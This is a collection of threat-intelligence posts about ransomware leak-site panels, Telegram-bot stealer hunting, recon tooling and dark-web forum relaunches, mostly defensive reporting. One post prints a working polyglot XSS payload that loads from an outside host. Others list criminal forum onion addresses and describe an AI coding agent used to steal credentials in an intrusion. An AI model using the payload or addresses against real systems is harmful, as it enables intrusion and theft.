scalerdab

awesome ti

[scalerdab @scalerdab]

Uploads:
/api/upload_cover
/api/upload_files
/api/upload_screenshot
/api/entry_screenshots?entry_id=
/api/delete_screenshot

Users:
/api/admin/create_user
/api/admin/delete_user
/api/admin/change_password

[scalerdab @scalerdab]

A ransomware group left the JS file of its leak site admin panel publicly accessible.

It shows how the blog is run: entries with a reveal timer, cover/screenshot/file uploads and user management.

API paths exposed below 👇

#ransomware #threatintel #HYFLOCK

[scalerdab @scalerdab]

Exposed paths:

/blog/admin
/login

Entries:
/api/admin/create_entry
/api/admin/update_entry
/api/admin/delete_entry
/api/admin/toggle_hidden
/api/admin/set_reveal_time

[Clandestine @akaclandestine]

🚨 Malicious Telegram Bots | https://t.co/GbMVGyUs5t TI Lookup

Use of the Bot API (sendMessage / sendDocument) for exfiltration, notification, or C2 in malicious samples.

Query applied:
(domainName:"https://t.co/VeuoXRcKUk" OR url:"https://t.co/J1Ni5yl813*" OR url:"/bot/sendDocument*" OR url:"/bot/sendMessage*")
AND threatLevel:"malicious"
AND NOT imagePath:"*Telegram.exe" AND NOT imagePath:"*WhatsApp.exe"
AND (submissionCountry:"br" OR domainName:".com.br" OR threatName:"mispadu" OR threatName:"astaroth" OR threatName:"grandoreiro" OR threatName:"vidar" OR threatName:"stealc" OR threatName:"phishing")

---

2/7
Dashboard results:

Threat names:
• ScreenConnect 20%
• ConnectWise 20%
• Snake 10%
• Spyware 10%
• ClickFix 10%

Submission countries:
• US 60%
• Indonesia 20%
• Honduras 10%
• Turkey 10%

Risk score: Consulting 22%, Banking 5%.

Dominant pattern: RMM + ClickFix + stealers. LATAM families (Mispadu/Grandoreiro) present in the filter.

---

3/7
Observed connections:

• https://t.co/bKL03wSHLh
• https://t.co/opMcWPd5b3
• https://t.co/gf6XnyhccC / https://t.co/KpJc6KfEYa
• https://t.co/Pep14aMFjD
• https://t.co/BZkzimChqB
• https://t.co/2cf6vC0RPb
• https://t.co/T1buYZMuSp
• https://t.co/DbJ8wIbeFg
• https://t.co/FHTcCrQpqy

Pinata (IPFS) is legitimate, but its gateways are abused for payload hosting.

---

4/7
Enrichment:

• https://t.co/Pep14aMFjD → ClickFix + EtherHiding (blockchain C2). Young domain, multiple blacklists.
• https://t.co/2cf6vC0RPb → Phishing (trust score 1/100).
• https://t.co/BZkzimChqB → Suspicious, new domain, blacklists.
• Telegram bots → Classic pattern of stealers (Vidar, StealC, Snake) and phishing kits.

Same bot_id = same operator (high probability).

---

5/7
Methodology (summary):

Phase 1 – Discovery: volume + sendDocument vs sendMessage
Phase 2 – Classification: malware vs phishing (pix/boleto/fatura)
Phase 3 – Execution: PowerShell, AutoIt, mshta, curl
Phase 4 – Persistence: Telegram + ScreenConnect/AnyDesk
Phase 5 – Infra: ngrok, trycloudflare, pastebin, IPFS
Phase 6 – Attribution: bot_id, chat_id, sha256

ACH: Require ≥2 independent pivots before attributing an operator.

---

6/7
Diamond Model:

Adversary: Bot_ID / chat_id
Capability: Stealers + ClickFix + RMM
Infrastructure: Bot API + Pinata + young domains + EtherHiding
Victim: BR brands (PIX/boleto) — do not use submissionCountry as a victim proxy

Detection:
• Sysmon 1 / 4688 with https://t.co/J1Ni5yl813 in commandLine
• PowerShell/AutoIt/mshta + Telegram
• Active RMM during PIX transaction

---

7/7
Conclusion:

The Telegram Bot API remains a preferred exfiltration channel for stealers and LATAM phishing. Combining it with RMM + ClickFix/EtherHiding increases the risk of assisted fraud.

Actions:
1. Detect https://t.co/J1Ni5yl813* in process logs
2. Monitor bots 8941429018 and 8849196884
3. Block/monitor https://t.co/Pep14aMFjD and https://t.co/2cf6vC0RPb
4. Report tokens to [email protected] and https://t.co/hT121hYS2X

#CTI #ThreatIntel #Telegram #ANYRUN #ClickFix #EtherHiding #LATAM
@anyrun_app

[Mike Takahashi @TakSec]

Tools I give my agents to make them more powerful (Part 1):

1. Subfinder
Mandatory. Finds subdomains which increases the surface for everything.

2. httpx
Filters the subdomain list to live apps and APIs.

3. SerpAPI
Finds indexed paths and files the site may not link to.

4. Firecrawl
Crawls public pages and links.

5. Wayback
Finds old paths and parameters that may still be live.

6. jsluice
Pulls API routes from the site’s JavaScript code.

Research tasks, bug bounty, mapping attack surfaces, finding APIs, investigations, OSINT, etc many use cases and easy to add.

[scalerdab @scalerdab]

@CTI__Updates and /uploads/

[scalerdab @scalerdab]

@FalconFeedsio found interesting report fake SH https://t.co/RRUsM2ZIVF

[scalerdab @scalerdab]

@DailyDarkWeb there is research dedicated to fake ShinyHunters impersonators https://t.co/iJj0onWrMZ

[DarkJester @DarkJstr]

Came across a ransomware affiliate recruitment post from an actor going by nbtc. The usual pitch, come work with TITAN, they actually pay out. Before scrolling past it I pulled the rest of what they'd posted, and it got more interesting.

Turns out the same author isn't only pushing TITAN. They're also recruiting callers for RADAR, dropping a Tox for contact. One actor, two ransomware operations, different roles, advert for one and recruiter for the other.

Two groups promoted by the same person, with leak sites that look fairly alike. The obvious question is whether RADAR and TITAN are one operation under a rebrand. I looked, and didn't find much tying them together beyond the shared promoter.

They don't line up where it matters. RADAR runs a Vite panel with a Spring backend, TITAN is Next.js. Different contact channels, Session on one side and qTox on the other. Different hosting, no shared certificate or host. The resemblance is genre, not code.

So nbtc reads as a broker touching both orbits, not proof the two groups are one. I left the rebrand theory there and moved to RADAR itself, which is where the interesting part was.

RADAR's leak site doesn't only live on Tor. Pivoting on the mmh3 favicon hash of their DLS surfaced a clearnet host serving the exact same panel, 146.19.128.84, AS207957, ServHost.

Same title, same app bundle, same favicon.
On that host RADAR's panel is reachable in the clear, nginx serving the same React SPA, with what looks like the backend API exposed on the same box. Same RADAR title, same index bundle, same favicon hash as the onion. Whoever runs the DLS runs this.

[Megatron @TheM3gatr0n]

One more useful URLScan hunting query is:
page.domain:https://t.co/hFeZOIgEr3 AND files.mimeType:"application/x-dosexec" AND page.url:(*loader* OR *stealer* OR *inject* OR *payload* OR *crack* OR *keygen* OR *cheat* OR *bypass* OR *rat* OR *builder*)

This helps surface Windows executable payloads hosted or referenced through https://t.co/hFeZOIgEr3 where the URL contains terms commonly associated with loaders, stealers, RATs, cracked software, or other suspicious tooling.

Always validate the identified IoCs first
#CyberSecurity #InfoSec #CyberThreats #ThreatIntelligence #ThreatResearch #Security #MalwareAnalysis

[Un9nPlayer @Un9nPlayer]

Found a pretty interesting way to enumerate subdomains:

https://t.co/qxdsJe5qA0 give: 813
https://t.co/pJNGhcRLc1 give: 781

Gives you a clean list from the domain's certificate data.

[0x6rss @0x6rss]

From now on I'll share my OSINT findings for chat apps in this repo.
First up: a one-command script that runs alongside WhatsApp Desktop in real
time. If call P2P is on (the default), you can pull this from the other party:

-Unmasked public IP +port
- LAN or carrier-NAT address → Wi-Fi vs mobile
- Platform → iOS / Android / Web / …
- Linked-device count
- Speech-vs-silence pattern
- A correlation id that links calls to the same device
Observation-only: your own client already sees all of this. No traffic sent,
nothing changed.
repo: https://t.co/jD5PvEgSf4

[Eyal Sela @eyalsela]

A threat actor used Claude Code with Sonnet 4.6 as part of an intrusion, likely for ransomware. Sonnet took on many tasks, like writing an on-the-fly "LDAP capture" script, to which it directed the victim's FortiGate device and initiated authentication to steal the service account's cleartext credentials. [...]

[Dark Web Informer @DarkWebInformer]

🚨 RaidForums [.]su domain was suspended.

New domain: [.]ru

They also have a new site called RaidBin, which is a paste-sharing platform.

raidbin[.]org

Dark Web: http://raidbinahr33urj6dcnuphimsnnxkvryvomimphp5wsfa5x3gkm2jsqd[.]onion

[T1erOne @tieroneforum]

LLM-ассистированный поиск уязвимостей: Claude Code быстро находит баги, но не доводит PoC до конца

https://t.co/Oxz8X4KEzU
https://t.co/y9CsnBJoOn

#articles

[Ayush Anand @Securityinbits]

https://t.co/qBnJ7YpxsA

[Paul Seekamp @nullenc0de]

I can't believe how often @brutelogic's payload works.

JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

[Dark Web Informer @DarkWebInformer]

💥 The forum BreachStars 2.0 has launched.

Clearnet:

https://breachstars[.]vc/ - New domain
https://breachsta[.]rs/ - Backup old domain

Onion:

http://bstarsfokayqtywueiwujpvwgqoth2t4ldutzil7qfhsadawueajjsyd[.]onion

[scalerdab @scalerdab]

Hackers claims compromise of a drip irrigation system at an Armenian agricultural facility in Yerevan
Screenshots show irrigation control panel with «Dendro Garden» logo
System likely developed by MDSB Company, an Armenian IT firm specializing in process automation #Armenia